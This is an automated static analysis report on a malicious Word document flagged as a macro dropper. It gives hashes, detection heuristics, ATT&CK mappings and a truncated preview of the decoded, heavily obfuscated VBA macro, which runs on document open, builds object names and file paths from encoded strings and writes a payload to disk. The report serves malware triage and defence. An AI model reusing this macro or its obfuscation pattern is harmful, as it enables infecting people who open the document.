Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41a32a19c78a542a…

MALICIOUS

Office (OLE)

2.71 MB Created: 2017-12-19 07:18:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: faa4469d5cd90623312c86d651f2d930 SHA-1: 07704be3cb7c7dd6cfb987ded284960f721074fd SHA-256: 41a32a19c78a542ab4d0701c31d9ef6c7f019c9bc604ab9415f4790b7ac6c591
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open heuristic. This macro uses CreateObject and heavily obfuscated string manipulation, suggesting it's designed to download and execute a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6424704-0' further supports this dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6424704-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6424704-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1102175 bytes
SHA-256: d3cdc7a31bc79ff2109862d7ec9a3aa5224e43013bf8dc7e2dac3887cc558e37
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1392 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Option Explicit

Sub Document_Open()
On Error Resume Next

nvOKI

Dim kHZQe As String
kHZQe = oLphG(yldHx)
Dim WxxdY As String
WxxdY = wdPFj(PJNmq(17663, 17580))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(17936, 18035)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(19860, 19942)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(15409, 15448)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(17926, 18038)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(11914, 12030)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(15409, 15448)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(14556, 14514)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(12692, 12787)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(13566, 13520)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(18273, 18215)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(15409, 15448)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(14353, 14461)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(15116, 15209)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(17663, 17580)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(20379, 20450)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(12089, 12106)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(11914, 12030)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(15116, 15209)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(18206, 18291)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(20780, 20835)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(12934, 13028)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(18594, 18632)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(15116, 15209)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(17936, 18035)))
WxxdY = wfHXt(WxxdY, wdPFj(PJNmq(11914, 12030)))
Dim oGeFC As Object
Set oGeFC = CreateObject(WxxdY)
Dim rDtwv As Object
Dim vBKYN As String
vBKYN = ""
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(15504, 15571)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(14199, 14157)))
vBKYN = wfHXt(vBKYN, "\")
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(13338, 13386)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(19860, 19942)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(15224, 15127)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(12692, 12787)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(19860, 19942)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(11763, 11666)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(18206, 18291)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(14547, 14487)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(11763, 11666)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(11914, 12030)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(11763, 11666)))
vBKYN = wfHXt(vBKYN, "\")
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(16433, 16486)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(15409, 15448)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(14556, 14514)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(14388, 14416)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(15224, 15127)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(19135, 19144)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(12089, 12106)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(19023, 18945)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(18615, 18659)))
vBKYN = wfHXt(vBKYN, "\")
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(16433, 16486)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(15409, 15448)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(14556, 14514)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(14388, 14416)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(15224, 15127)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(19135, 19144)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(12089, 12106)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(19023, 18945)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(18615, 18659)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(13566, 13520)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(15409, 15448)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(14556, 14514)))
vBKYN = wfHXt(vBKYN, wdPFj(PJNmq(15409, 15448)))


Set rDtwv = oGeFC.CreateTextFile(vBKYN, True, True)
rDtwv.Write kHZQe
rDtwv.Close


nGpKk
xzUbB
End Sub

Public Function xzUbB()
    Dim qoUhI As Object
    Dim bfyNX As String
    bfyNX = ""
    bfyNX = wfHXt(bfyNX, wdPFj(PJNmq(17663, 17580)))
    bfyNX = wfHXt(bfyNX, wdPFj(PJNmq(16184, 16208)))
    bfyNX = wfHXt(bfyNX, wdPFj(PJNmq(15116, 15209)))
    bfyNX = wfHXt(bfyNX, wdPFj(PJNmq(14353, 14461)))
    bfyNX = wfHXt(bf
... (truncated)

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